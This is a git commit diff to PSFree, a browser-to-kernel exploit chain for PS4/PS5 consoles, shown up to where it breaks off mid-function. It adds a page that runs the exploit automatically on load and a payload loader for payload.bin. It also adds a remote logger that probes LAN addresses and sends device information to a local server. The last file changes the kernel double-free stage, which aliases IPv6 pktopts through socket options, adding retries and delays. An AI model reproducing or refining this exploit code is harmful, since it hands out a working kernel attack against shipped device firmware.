This commit is contained in:
Kameleon
2025-05-19 07:33:31 -06:00
parent 084477319e
commit e9dd0ef7ab
9 changed files with 1705 additions and 66 deletions
+242
View File
@@ -0,0 +1,242 @@
/*
* PSFree Enhanced UI Styles
* Compatible with PS4 FW 9.00 Browser
* TODO: Optimize for PS4 display and controller navigation
*/
body {
font-family: 'Liberation Mono', monospace;
margin: 0;
padding: 20px;
background-color: #0d1117;
color: #e6edf3;
}
.container {
max-width: 900px;
margin: 0 auto;
}
.header {
text-align: center;
margin-bottom: 20px;
padding-bottom: 10px;
border-bottom: 1px solid #30363d;
}
.header h1 {
margin: 0;
color: #58a6ff;
}
.header p {
margin: 5px 0;
color: #8b949e;
}
.card {
background-color: #161b22;
border-radius: 6px;
padding: 15px;
margin-bottom: 20px;
border: 1px solid #30363d;
}
.card-title {
margin-top: 0;
color: #58a6ff;
border-bottom: 1px solid #30363d;
padding-bottom: 10px;
}
.btn {
background-color: #238636;
color: white;
border: none;
padding: 8px 16px;
border-radius: 6px;
cursor: pointer;
font-weight: bold;
transition: background-color 0.2s;
}
.btn:hover {
background-color: #2ea043;
}
.btn:disabled {
background-color: #3c4043;
cursor: not-allowed;
}
.btn-danger {
background-color: #da3633;
}
.btn-danger:hover {
background-color: #f85149;
}
.progress-container {
width: 100%;
background-color: #30363d;
border-radius: 4px;
margin: 10px 0;
}
.progress-bar {
height: 10px;
background-color: #238636;
border-radius: 4px;
width: 0%;
transition: width 0.3s;
}
#console {
background-color: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 10px;
height: 300px;
overflow-y: auto;
font-family: 'Liberation Mono', monospace;
white-space: pre-wrap;
color: #e6edf3;
}
.status-indicator {
display: inline-block;
width: 12px;
height: 12px;
border-radius: 50%;
margin-right: 5px;
}
.status-waiting {
background-color: #8b949e;
}
.status-running {
background-color: #f0883e;
}
.status-success {
background-color: #56d364;
}
.status-error {
background-color: #f85149;
}
.tabs {
display: flex;
margin-bottom: 10px;
}
.tab {
padding: 8px 16px;
cursor: pointer;
background-color: #161b22;
border: 1px solid #30363d;
border-bottom: none;
border-radius: 6px 6px 0 0;
margin-right: 5px;
}
.tab.active {
background-color: #0d1117;
border-bottom: 1px solid #0d1117;
position: relative;
top: 1px;
}
.tab-content {
display: none;
padding: 15px;
background-color: #0d1117;
border: 1px solid #30363d;
border-radius: 0 6px 6px 6px;
}
.tab-content.active {
display: block;
}
.payload-item {
display: flex;
align-items: center;
padding: 10px;
border: 1px solid #30363d;
border-radius: 6px;
margin-bottom: 10px;
}
.payload-item.selected {
border-color: #58a6ff;
background-color: rgba(88, 166, 255, 0.1);
}
.payload-info {
flex-grow: 1;
margin-left: 10px;
}
.tooltip {
position: relative;
display: inline-block;
cursor: help;
}
.tooltip .tooltip-text {
visibility: hidden;
width: 200px;
background-color: #30363d;
color: #e6edf3;
text-align: center;
border-radius: 6px;
padding: 5px;
position: absolute;
z-index: 1;
bottom: 125%;
left: 50%;
margin-left: -100px;
opacity: 0;
transition: opacity 0.3s;
}
.tooltip:hover .tooltip-text {
visibility: visible;
opacity: 1;
}
/* PS4 specific optimizations */
@media screen and (max-width: 1920px) and (max-height: 1080px) {
.container {
max-width: 1600px;
}
#console {
height: 400px;
}
.btn {
padding: 12px 24px;
font-size: 18px;
}
.tab {
padding: 12px 24px;
font-size: 18px;
}
}
/* Focus styles for controller navigation */
.btn:focus, .tab:focus, .payload-item:focus {
outline: 3px solid #58a6ff;
}
/* Highlight the currently focused element for controller navigation */
.controller-focus {
outline: 3px solid #58a6ff !important;
box-shadow: 0 0 10px rgba(88, 166, 255, 0.5);
}
+101 -14
View File
@@ -15,28 +15,115 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-->
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8'>
<title>PSFree-Lapse Exploit For 9.00</title>
<meta charset="utf-8">
<title>PSFree v1.5.0 - PS4/PS5 Exploit</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="css/styles.css">
<style>
@font-face {
font-family: 'logging';
font-family: 'Liberation Mono';
src: url('fonts/LiberationMono-Regular.ttf');
}
#console {
font-family: 'logging';
}
</style>
</head>
<body>
PSFree: A PS4/PS5 Exploit Chain<br>
Donation (Monero/XMR):<br>
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS<br>
See <a href='./about.html' data-jslicense='1'>JavaScript license information</a> for the
source code and license.<br>
<pre id='console'></pre>
<div class="container">
<div class="header">
<h1>PSFree v1.5.0</h1>
<p>PS4/PS5 Exploit Chain</p>
</div>
<div class="card">
<h2 class="card-title">Status</h2>
<div id="status-container">
<p><span class="status-indicator status-running" id="status-icon"></span> <span id="status-text">Running exploit...</span></p>
<div class="progress-container">
<div class="progress-bar" id="progress-bar"></div>
</div>
</div>
<!-- Run exploit and reset buttons removed -->
</div>
<div class="tabs">
<div class="tab active" data-tab="console">Console</div>
<!-- Payloads and settings tabs removed -->
</div>
<div class="tab-content active" id="tab-console">
<pre id="console"></pre>
</div>
<!-- Payloads and settings tabs removed -->
<!-- Info content moved below console -->
<div class="card" style="margin-top: 20px;">
<h2 class="card-title">About PSFree</h2>
<p>PSFree is an exploit chain for PS4 and PS5.</p>
<p>Current version: <strong>1.5.0</strong></p>
<p>Supported firmware:</p>
<ul>
<li>PS4: 5.00 - 12.50</li>
<li>PS5: 1.00 - 10.20</li>
</ul>
<p>PSFree uses:</p>
<ul>
<li>WebKit exploit (CVE-2022-22620)</li>
<li>Lapse kernel exploit</li>
</ul>
<p>See <a href="./about.html" data-jslicense="1">JavaScript license info</a> for source code and license details.</p>
<p>Donations (Monero/XMR):<br>
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS</p>
</div>
<div class="card" style="margin-top: 20px;">
<h2 class="card-title">Quick Guide</h2>
<ol>
<li>Open this page in the PS4 browser</li>
<li>The exploit will run automatically</li>
<li>Wait for the process to complete</li>
<li>If successful, the payload will run automatically</li>
</ol>
<p><strong>Note:</strong> If a Kernel Panic occurs, power off the console (do not restart) and try again.</p>
<p><strong>Important:</strong> This website uses the default payload located in the root folder.</p>
</div>
</div>
<script src="js/remote-logger.js"></script>
<script src="js/payload-manager.js"></script>
<script src="js/ui.js"></script>
<script src="payload.js"></script>
<script>
// Initialize Remote Logger
document.addEventListener('DOMContentLoaded', function() {
// Try to get server IP from URL parameter
const urlParams = new URLSearchParams(window.location.search);
const serverIp = urlParams.get('server');
// Logger configuration
const loggerConfig = {
enabled: true,
localConsole: true
};
// If a server parameter is present, use it
if (serverIp) {
loggerConfig.serverUrl = `http://${serverIp}:3000`;
}
// Initialize logger
window.RemoteLogger.init(loggerConfig);
// Log browser info
window.RemoteLogger.info('PSFree initialized', {
userAgent: navigator.userAgent,
url: window.location.href,
timestamp: new Date().toISOString()
});
});
</script>
<script type="module" src="./alert.mjs"></script>
</body>
<script src="payload.js"></script>
<script type='module' src='./alert.mjs'></script>
</html>
+124
View File
@@ -0,0 +1,124 @@
/**
* PSFree Payload Manager
* Compatible with PS4 FW 9.00 Browser
* TODO: Add support for multiple payloads and payload verification
*/
// Global state for payloads
window.payloadState = {
defaultPayload: null,
customPayloads: {},
selectedPayload: 'payload.bin'
};
// Function to load the default payload
function loadDefaultPayload() {
console.log('Loading default payload...');
fetch('./payload.bin')
.then(response => {
if (!response.ok) {
throw new Error('Failed to load default payload');
}
return response.arrayBuffer();
})
.then(arrayBuffer => {
window.payloadState.defaultPayload = new Uint32Array(arrayBuffer);
window.pld = window.payloadState.defaultPayload; // For backward compatibility
console.log('Default payload loaded successfully');
// Dispatch event for UI to update
document.dispatchEvent(new CustomEvent('payloadLoaded', {
detail: {
name: 'payload.bin',
size: arrayBuffer.byteLength
}
}));
})
.catch(error => {
console.error('Error loading default payload:', error);
// Dispatch event for UI to update
document.dispatchEvent(new CustomEvent('payloadError', {
detail: {
name: 'payload.bin',
error: error.message
}
}));
});
}
// Function to load a custom payload
function loadCustomPayload(name, arrayBuffer) {
console.log(`Loading custom payload: ${name}`);
try {
const payload = new Uint32Array(arrayBuffer);
window.payloadState.customPayloads[name] = payload;
console.log(`Custom payload "${name}" loaded successfully`);
// Dispatch event for UI to update
document.dispatchEvent(new CustomEvent('customPayloadLoaded', {
detail: {
name: name,
size: arrayBuffer.byteLength
}
}));
return true;
} catch (error) {
console.error(`Error loading custom payload "${name}":`, error);
// Dispatch event for UI to update
document.dispatchEvent(new CustomEvent('payloadError', {
detail: {
name: name,
error: error.message
}
}));
return false;
}
}
// Function to select a payload
function selectPayload(name) {
console.log(`Selecting payload: ${name}`);
if (name === 'payload.bin') {
if (window.payloadState.defaultPayload) {
window.pld = window.payloadState.defaultPayload;
window.payloadState.selectedPayload = name;
return true;
}
return false;
} else if (window.payloadState.customPayloads[name]) {
window.pld = window.payloadState.customPayloads[name];
window.payloadState.selectedPayload = name;
return true;
}
return false;
}
// Function to get the currently selected payload
function getSelectedPayload() {
const name = window.payloadState.selectedPayload;
if (name === 'payload.bin') {
return window.payloadState.defaultPayload;
} else {
return window.payloadState.customPayloads[name];
}
}
// Initialize by loading the default payload
loadDefaultPayload();
// Export functions to window for access from other scripts
window.payloadManager = {
loadCustomPayload,
selectPayload,
getSelectedPayload
};
+336
View File
@@ -0,0 +1,336 @@
/**
* PSFree Remote Logger
*
* Remote logging system for PSFree that sends logs to a local server
* to monitor exploit progress in real-time.
*
* TODO: Add automatic reconnect feature if the connection is lost
*/
// Logger configuration
const RemoteLogger = {
// Server configuration
config: {
// Logging server URL (replace with your computer's IP)
serverUrl: 'http://192.168.1.100:3000',
// Whether logging is enabled
enabled: true,
// Whether to also print logs to the local console
localConsole: true,
// Minimum log level to be sent (0=DEBUG, 1=INFO, 2=WARN, 3=ERROR)
minLevel: 0,
// Unique ID for this logging session
sessionId: generateSessionId(),
// Device information
deviceInfo: {
userAgent: navigator.userAgent,
firmware: detectFirmware(),
timestamp: new Date().toISOString()
},
// Buffer to store logs if connection is lost
logBuffer: [],
// Maximum buffer size
maxBufferSize: 100,
// Connection status
connected: false
},
// Log levels
LEVEL: {
DEBUG: 0,
INFO: 1,
WARN: 2,
ERROR: 3
},
// Initialize the logger
init: function(customConfig = {}) {
// Merge default config with custom config
this.config = { ...this.config, ...customConfig };
// Try to auto-detect server IP if not configured
if (this.config.serverUrl === 'http://192.168.1.100:3000') {
this.autoDetectServerIp();
}
// Send session info to the server
this.sendSessionInfo();
// Override the original console.log function
this.overrideConsoleLog();
// Initialization log
this.info('Remote Logger initialized', {
config: {
serverUrl: this.config.serverUrl,
sessionId: this.config.sessionId,
deviceInfo: this.config.deviceInfo
}
});
return this;
},
// Try to auto-detect server IP
autoDetectServerIp: function() {
// List of commonly used IPs in local networks
const commonIps = [
'http://192.168.1.100:3000',
'http://192.168.1.101:3000',
'http://192.168.1.102:3000',
'http://192.168.1.103:3000',
'http://192.168.1.104:3000',
'http://192.168.1.105:3000',
'http://192.168.0.100:3000',
'http://192.168.0.101:3000',
'http://192.168.0.102:3000',
'http://192.168.0.103:3000',
'http://192.168.0.104:3000',
'http://192.168.0.105:3000',
'http://10.0.0.100:3000',
'http://10.0.0.101:3000',
'http://10.0.0.102:3000'
];
// Try pinging each IP to find an active server
for (const ip of commonIps) {
fetch(`${ip}/ping`, {
method: 'GET',
mode: 'no-cors',
cache: 'no-cache',
headers: {
'Content-Type': 'application/json'
},
timeout: 500
})
.then(() => {
// If successful, use this IP
this.config.serverUrl = ip;
this.info(`Server found at ${ip}`);
})
.catch(() => {
// If failed, try the next IP
});
}
},
// Send session info to the server
sendSessionInfo: function() {
if (!this.config.enabled) return;
// Create URL with query parameters to avoid CORS issues with body
const sessionData = {
sessionId: this.config.sessionId,
deviceInfo: JSON.stringify(this.config.deviceInfo),
timestamp: new Date().toISOString()
};
// Create query string from data
const queryString = Object.keys(sessionData)
.map(key => `${encodeURIComponent(key)}=${encodeURIComponent(sessionData[key])}`)
.join('&');
// Send request using GET method and query parameters
fetch(`${this.config.serverUrl}/session?${queryString}`, {
method: 'GET',
mode: 'no-cors',
cache: 'no-cache'
})
.then(() => {
this.config.connected = true;
// Success log
if (this.config.localConsole) {
console.log(`Connected to logging server at ${this.config.serverUrl}`);
console.log(`Session ID: ${this.config.sessionId}`);
}
// Send logs stored in buffer
this.flushBuffer();
})
.catch(error => {
this.config.connected = false;
if (this.config.localConsole) {
console.error('Failed to connect to logging server:', error);
}
});
},
// Override the original console.log functions
overrideConsoleLog: function() {
const originalLog = console.log;
const originalWarn = console.warn;
const originalError = console.error;
const self = this;
console.log = function(...args) {
if (self.config.localConsole) {
originalLog.apply(console, args);
}
self.debug(args.map(arg => {
if (typeof arg === 'object') {
return JSON.stringify(arg);
}
return arg;
}).join(' '));
};
console.warn = function(...args) {
if (self.config.localConsole) {
originalWarn.apply(console, args);
}
self.warn(args.map(arg => {
if (typeof arg === 'object') {
return JSON.stringify(arg);
}
return arg;
}).join(' '));
};
console.error = function(...args) {
if (self.config.localConsole) {
originalError.apply(console, args);
}
self.error(args.map(arg => {
if (typeof arg === 'object') {
return JSON.stringify(arg);
}
return arg;
}).join(' '));
};
},
// Send log to server
sendLog: function(level, message, data = {}) {
if (!this.config.enabled || level < this.config.minLevel) return;
const logEntry = {
sessionId: this.config.sessionId,
timestamp: new Date().toISOString(),
level: level,
levelName: Object.keys(this.LEVEL).find(key => this.LEVEL[key] === level),
message: message,
data: JSON.stringify(data)
};
// If not connected, save to buffer
if (!this.config.connected) {
this.bufferLog(logEntry);
return;
}
// Create query string from log data
const queryString = Object.keys(logEntry)
.map(key => `${encodeURIComponent(key)}=${encodeURIComponent(logEntry[key])}`)
.join('&');
// Send log to server using GET method
fetch(`${this.config.serverUrl}/log?${queryString}`, {
method: 'GET',
mode: 'no-cors',
cache: 'no-cache'
})
.catch(error => {
this.config.connected = false;
this.bufferLog(logEntry);
if (this.config.localConsole) {
console.error('Failed to send log to server:', error);
}
});
},
// Save log in buffer if connection is lost
bufferLog: function(logEntry) {
this.config.logBuffer.push(logEntry);
// If buffer is too large, remove oldest logs
if (this.config.logBuffer.length > this.config.maxBufferSize) {
this.config.logBuffer.shift();
}
},
// Send all buffered logs
flushBuffer: function() {
if (!this.config.connected || this.config.logBuffer.length === 0) return;
for (const log of this.config.logBuffer) {
this.sendLog(log.level, log.message, log.data ? JSON.parse(log.data) : {});
}
this.config.logBuffer = [];
},
// Logging functions
debug: function(message, data = {}) {
this.sendLog(this.LEVEL.DEBUG, message, data);
},
info: function(message, data = {}) {
this.sendLog(this.LEVEL.INFO, message, data);
},
warn: function(message, data = {}) {
this.sendLog(this.LEVEL.WARN, message, data);
},
error: function(message, data = {}) {
this.sendLog(this.LEVEL.ERROR, message, data);
},
// Log exploit stage
logStage: function(stage, percent, details = {}) {
this.info(`STAGE: ${stage}`, {
stage: stage,
percent: percent,
details: details
});
// Dispatch event for UI
document.dispatchEvent(new CustomEvent('exploitProgress', {
detail: {
stage: stage,
percent: percent
}
}));
}
};
// Function to generate unique session ID
function generateSessionId() {
return 'xxxx-xxxx-xxxx-xxxx'.replace(/[x]/g, () => {
const r = Math.random() * 16 | 0;
return r.toString(16);
});
}
// Function to detect firmware
function detectFirmware() {
const userAgent = navigator.userAgent;
let firmware = null;
// Detect PS4 firmware
const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
if (ps4Match && ps4Match[1]) {
firmware = {
console: 'PS4',
version: ps4Match[1]
};
}
// Detect PS5 firmware
const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
if (ps5Match && ps5Match[1]) {
firmware = {
console: 'PS5',
version: ps5Match[1]
};
}
return firmware;
}
// Export RemoteLogger to window
window.RemoteLogger = RemoteLogger;
+449
View File
@@ -0,0 +1,449 @@
/**
* PSFree Enhanced UI
* Compatible with PS4 FW 9.00 Browser
* TODO: Implement controller navigation and optimize for PS4 display
*/
// Status constants
const STATUS = {
WAITING: 'waiting',
RUNNING: 'running',
SUCCESS: 'success',
ERROR: 'error'
};
// Global state
let state = {
status: STATUS.RUNNING, // Changed from WAITING to RUNNING because it auto-runs
progress: 0,
selectedPayload: 'payload.bin', // Always uses the default payload
customPayloads: [],
settings: {
autoRun: true, // Changed to true for auto-run
verboseLogging: false,
safeMode: true
},
controllerNavigation: {
enabled: false,
currentFocusIndex: 0,
focusableElements: []
}
};
// TODO: Exploit will run automatically when the page loads
// Original console.log function
const originalLog = console.log;
// Override console.log to also update the UI
console.log = function(...args) {
// Call original console.log
originalLog.apply(console, args);
// Update UI console
const message = args.map(arg => {
if (typeof arg === 'object') {
return JSON.stringify(arg);
}
return arg;
}).join(' ');
appendToConsole(message);
};
// Function to append text to the console
function appendToConsole(text) {
const consoleElement = document.getElementById('console');
if (consoleElement) {
consoleElement.textContent += text + '\n';
consoleElement.scrollTop = consoleElement.scrollHeight;
}
}
// Function to clear the console
function clearConsole() {
const consoleElement = document.getElementById('console');
if (consoleElement) {
consoleElement.textContent = '';
}
}
// Function to update the UI status
function updateStatus(status, message) {
state.status = status;
const statusIcon = document.getElementById('status-icon');
const statusText = document.getElementById('status-text');
if (!statusIcon || !statusText) return;
// Remove all status classes
statusIcon.classList.remove('status-waiting', 'status-running', 'status-success', 'status-error');
// Add the appropriate class
statusIcon.classList.add(`status-${status}`);
// Update the status text
statusText.textContent = message;
// TODO: Exploit run and reset buttons have been removed
}
// Function to update the progress bar
function updateProgress(percent) {
state.progress = percent;
const progressBar = document.getElementById('progress-bar');
if (progressBar) {
progressBar.style.width = `${percent}%`;
}
}
// Function to handle tab switching
function switchTab(tabId) {
// Hide all tab contents
document.querySelectorAll('.tab-content').forEach(content => {
content.classList.remove('active');
});
// Deactivate all tabs
document.querySelectorAll('.tab').forEach(tab => {
tab.classList.remove('active');
});
// Activate the selected tab and content
const tabContent = document.getElementById(`tab-${tabId}`);
const tabElement = document.querySelector(`.tab[data-tab="${tabId}"]`);
if (tabContent && tabElement) {
tabContent.classList.add('active');
tabElement.classList.add('active');
}
}
// Function to add a custom payload
function addCustomPayload(name, data) {
const payloadList = document.getElementById('payload-list');
if (!payloadList) return;
// Create a new payload item
const payloadItem = document.createElement('div');
payloadItem.className = 'payload-item';
payloadItem.dataset.payload = name;
payloadItem.setAttribute('tabindex', '0'); // Make focusable for controller navigation
// Create the payload content
payloadItem.innerHTML = `
<input type="radio" name="payload" id="payload-${name}">
<div class="payload-info">
<label for="payload-${name}"><strong>${name}</strong></label>
<p>Custom payload (${formatBytes(data.byteLength)})</p>
</div>
<button class="btn btn-danger remove-payload" data-name="${name}">Remove</button>
`;
// Add the payload to the list
payloadList.appendChild(payloadItem);
// Store the payload data
state.customPayloads.push({
name: name,
data: data
});
// Save to localStorage
saveCustomPayloads();
// Update controller navigation
updateFocusableElements();
}
// Function to format bytes to human-readable format
function formatBytes(bytes, decimals = 2) {
if (bytes === 0) return '0 Bytes';
const k = 1024;
const dm = decimals < 0 ? 0 : decimals;
const sizes = ['Bytes', 'KB', 'MB', 'GB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
}
// Function to save custom payloads to localStorage
function saveCustomPayloads() {
try {
// We can only store the names in localStorage, not the actual binary data
const payloadNames = state.customPayloads.map(p => p.name);
localStorage.setItem('customPayloadNames', JSON.stringify(payloadNames));
} catch (e) {
console.log('Error saving custom payloads to localStorage:', e);
}
}
// Function to save settings to localStorage
function saveSettings() {
try {
localStorage.setItem('settings', JSON.stringify(state.settings));
console.log('Settings saved');
} catch (e) {
console.log('Error saving settings to localStorage:', e);
}
}
// Function to load settings from localStorage
function loadSettings() {
try {
const savedSettings = localStorage.getItem('settings');
if (savedSettings) {
state.settings = JSON.parse(savedSettings);
// Update UI to reflect loaded settings
const autoRunElement = document.getElementById('auto-run');
const verboseLoggingElement = document.getElementById('verbose-logging');
const safeModeElement = document.getElementById('safe-mode');
if (autoRunElement) autoRunElement.checked = state.settings.autoRun;
if (verboseLoggingElement) verboseLoggingElement.checked = state.settings.verboseLogging;
if (safeModeElement) safeModeElement.checked = state.settings.safeMode;
}
} catch (e) {
console.log('Error loading settings from localStorage:', e);
}
}
// Function to detect firmware version
function detectFirmware() {
const userAgent = navigator.userAgent;
let firmware = null;
// Detect PS4 firmware
const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
if (ps4Match && ps4Match[1]) {
firmware = {
console: 'PS4',
version: ps4Match[1]
};
}
// Detect PS5 firmware
const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
if (ps5Match && ps5Match[1]) {
firmware = {
console: 'PS5',
version: ps5Match[1]
};
}
return firmware;
}
// Function to check browser compatibility
function checkCompatibility() {
const userAgent = navigator.userAgent;
let isCompatible = true;
let message = '';
// Check if running on PS4/PS5 browser
if (userAgent.includes('PlayStation 4') || userAgent.includes('PlayStation 5')) {
console.log('PlayStation browser detected. Optimal compatibility.');
// Enable controller navigation if on PlayStation
state.controllerNavigation.enabled = true;
} else {
console.log('WARNING: Not running in PlayStation browser. Some features may not work.');
isCompatible = false;
message = 'Not running in PlayStation browser';
}
// Check specific firmware version
const firmware = detectFirmware();
if (firmware) {
console.log(`Detected ${firmware.console} FW ${firmware.version}`);
if (firmware.console === 'PS4' && firmware.version === '9.00') {
console.log('Detected PS4 FW 9.00. Optimal compatibility.');
}
}
return { isCompatible, message, firmware };
}
// Function to run the exploit
function runExploit() {
updateStatus(STATUS.RUNNING, 'Running exploit...');
updateProgress(5);
// Clear the console if not in verbose mode
if (!state.settings.verboseLogging) {
clearConsole();
}
console.log('Starting PSFree exploit...');
// The actual exploit will be triggered here via the import of lapse.mjs
// This is handled by the original code in index.html
// Listen for exploit progress events
document.addEventListener('exploitProgress', function(event) {
updateProgress(event.detail.percent);
});
// Listen for exploit status events
document.addEventListener('exploitStatus', function(event) {
updateStatus(event.detail.status, event.detail.message);
});
}
// Function to reset the exploit
function resetExploit() {
updateStatus(STATUS.WAITING, 'Ready to start');
updateProgress(0);
if (!state.settings.verboseLogging) {
clearConsole();
}
console.log('Exploit reset. Ready to start again.');
// Reload the page to reset everything
if (confirm('The page will reload to reset the exploit. Continue?')) {
window.location.reload();
}
}
// Function to update focusable elements for controller navigation
function updateFocusableElements() {
if (!state.controllerNavigation.enabled) return;
// Get all focusable elements
state.controllerNavigation.focusableElements = Array.from(document.querySelectorAll('button, .tab, .payload-item, input[type="checkbox"]'));
// Reset focus index
state.controllerNavigation.currentFocusIndex = 0;
}
// Function to handle controller navigation
function handleControllerNavigation(event) {
if (!state.controllerNavigation.enabled) return;
const elements = state.controllerNavigation.focusableElements;
let currentIndex = state.controllerNavigation.currentFocusIndex;
// Handle navigation with D-pad
switch (event.key) {
case 'ArrowUp':
currentIndex = Math.max(0, currentIndex - 1);
break;
case 'ArrowDown':
currentIndex = Math.min(elements.length - 1, currentIndex + 1);
break;
case 'ArrowLeft':
// If in tabs, navigate between tabs
if (elements[currentIndex].classList.contains('tab')) {
const tabs = Array.from(document.querySelectorAll('.tab'));
const tabIndex = tabs.indexOf(elements[currentIndex]);
if (tabIndex > 0) {
currentIndex = elements.indexOf(tabs[tabIndex - 1]);
}
} else {
currentIndex = Math.max(0, currentIndex - 1);
}
break;
case 'ArrowRight':
// If in tabs, navigate between tabs
if (elements[currentIndex].classList.contains('tab')) {
const tabs = Array.from(document.querySelectorAll('.tab'));
const tabIndex = tabs.indexOf(elements[currentIndex]);
if (tabIndex < tabs.length - 1) {
currentIndex = elements.indexOf(tabs[tabIndex + 1]);
}
} else {
currentIndex = Math.min(elements.length - 1, currentIndex + 1);
}
break;
case 'Enter':
// Simulate click on the focused element
elements[currentIndex].click();
return;
}
// Update focus
if (currentIndex !== state.controllerNavigation.currentFocusIndex) {
// Remove focus from all elements
elements.forEach(el => {
el.classList.remove('controller-focus');
});
// Add focus to the current element
elements[currentIndex].classList.add('controller-focus');
elements[currentIndex].focus();
// Update current index
state.controllerNavigation.currentFocusIndex = currentIndex;
}
}
// Setup event listeners
function setupEventListeners() {
// Tab switching - only for console tab
document.querySelectorAll('.tab').forEach(tab => {
tab.addEventListener('click', () => {
switchTab(tab.dataset.tab);
});
});
// TODO: Run exploit, reset, upload payload, and settings buttons have been removed
// Controller navigation
document.addEventListener('keydown', handleControllerNavigation);
// Custom events from exploit
document.addEventListener('exploitProgress', function(event) {
updateProgress(event.detail.percent);
});
document.addEventListener('exploitStatus', function(event) {
updateStatus(event.detail.status, event.detail.message);
});
// Payload events
document.addEventListener('payloadLoaded', function(event) {
console.log(`Payload loaded: ${event.detail.name} (${formatBytes(event.detail.size)})`);
});
document.addEventListener('payloadError', function(event) {
console.log(`Error loading payload ${event.detail.name}: ${event.detail.error}`);
updateStatus(STATUS.ERROR, `Error loading payload: ${event.detail.error}`);
});
}
// Initialize the UI
function initUI() {
console.log('Initializing PSFree UI...');
// Load settings
loadSettings();
// Setup event listeners
setupEventListeners();
// Check compatibility
checkCompatibility();
// Update focusable elements for controller navigation
updateFocusableElements();
// Always run exploit automatically
setTimeout(() => {
console.log('Automatically running exploit...');
runExploit();
}, 1000);
console.log('UI initialized. Exploit will auto-run.');
// TODO: Exploit will always auto-run without conditions
}
// Initialize when the DOM is fully loaded
document.addEventListener('DOMContentLoaded', initUI);
+355 -44
View File
@@ -956,40 +956,179 @@ function leak_kernel_addrs(sd_pair) {
// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
// Fungsi sleep sederhana untuk menambah delay
function sleep(ms) {
const start = Date.now();
while (Date.now() - start < ms) {
// Busy wait
}
}
function make_aliased_pktopts(sds) {
const tclass = new Word();
for (let loop = 0; loop < num_alias; loop++) {
for (let i = 0; i < num_sds; i++) {
tclass[0] = i;
ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
}
for (let i = 0; i < sds.length; i++) {
gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
const marker = tclass[0];
if (marker !== i) {
log(`aliased pktopts at attempt: ${loop}`);
const pair = [sds[i], sds[marker]];
log(`found pair: ${pair}`);
sds.splice(marker, 1);
sds.splice(i, 1);
// add pktopts to the new sockets now while new allocs can't
// use the double freed memory
for (let i = 0; i < 2; i++) {
const sd = new_socket();
ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
sds.push(sd);
}
// Tambahkan delay awal untuk stabilitas
sleep(200);
return pair;
// Batasi jumlah percobaan untuk menghindari loop tak terbatas
const max_attempts = 20; // Batasi jumlah percobaan
// Coba pendekatan langsung
for (let loop = 0; loop < max_attempts; loop++) {
try {
// Tambahkan delay kecil setiap iterasi
if (loop > 0) {
log(`Direct attempt ${loop + 1}/${max_attempts}...`);
sleep(100); // Delay tetap untuk menghindari peningkatan yang terlalu besar
}
}
for (let i = 0; i < num_sds; i++) {
setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
// Buat socket baru untuk setiap percobaan
if (loop > 0 && loop % 5 === 0) {
log("Creating new sockets for fresh attempt...");
// Buat beberapa socket baru
for (let i = 0; i < 5; i++) {
sds.push(new_socket());
}
}
// Coba metode asli
for (let i = 0; i < Math.min(num_sds, sds.length); i++) {
tclass[0] = i;
try {
ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
} catch (e) {
log(`Error setting socket option for socket ${i}: ${e.message}`);
// Lanjutkan ke socket berikutnya
}
}
for (let i = 0; i < sds.length; i++) {
try {
gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
const marker = tclass[0];
if (marker !== i) {
log(`aliased pktopts at direct attempt: ${loop + 1}`);
const pair = [sds[i], sds[marker]];
log(`found pair: ${pair}`);
// Tambahkan delay sebelum memodifikasi array sds
sleep(50);
// Simpan indeks yang akan dihapus
const idx1 = Math.max(i, marker);
const idx2 = Math.min(i, marker);
// Hapus dari belakang ke depan untuk menghindari masalah indeks
if (idx1 < sds.length) sds.splice(idx1, 1);
if (idx2 < sds.length) sds.splice(idx2, 1);
// Tambahkan delay sebelum membuat socket baru
sleep(50);
// add pktopts to the new sockets now while new allocs can't
// use the double freed memory
for (let i = 0; i < 2; i++) {
const sd = new_socket();
ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
sds.push(sd);
}
return pair;
}
} catch (e) {
log(`Error getting socket option for socket ${i}: ${e.message}`);
// Lanjutkan ke socket berikutnya
}
}
// Jika kita sampai di sini, kita tidak menemukan pasangan
// Coba reset pktopts untuk beberapa socket
const reset_count = Math.min(20, sds.length);
log(`Resetting pktopts for ${reset_count} sockets...`);
for (let i = 0; i < reset_count; i++) {
try {
setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
} catch (e) {
// Abaikan error
}
}
} catch (e) {
log(`Error in direct attempt ${loop + 1}: ${e.message}`);
}
}
die('failed to make aliased pktopts');
// Jika pendekatan langsung gagal, coba pendekatan alternatif
log("Direct approach failed. Trying alternative approach...");
// Buat socket baru dan coba lagi dengan set socket yang baru
const new_sds = [];
for (let i = 0; i < 30; i++) {
new_sds.push(new_socket());
}
// Coba dengan set socket yang baru saja
for (let loop = 0; loop < 10; loop++) {
try {
log(`Alternative attempt ${loop + 1}/10...`);
// Set tclass untuk semua socket baru
for (let i = 0; i < new_sds.length; i++) {
tclass[0] = i;
try {
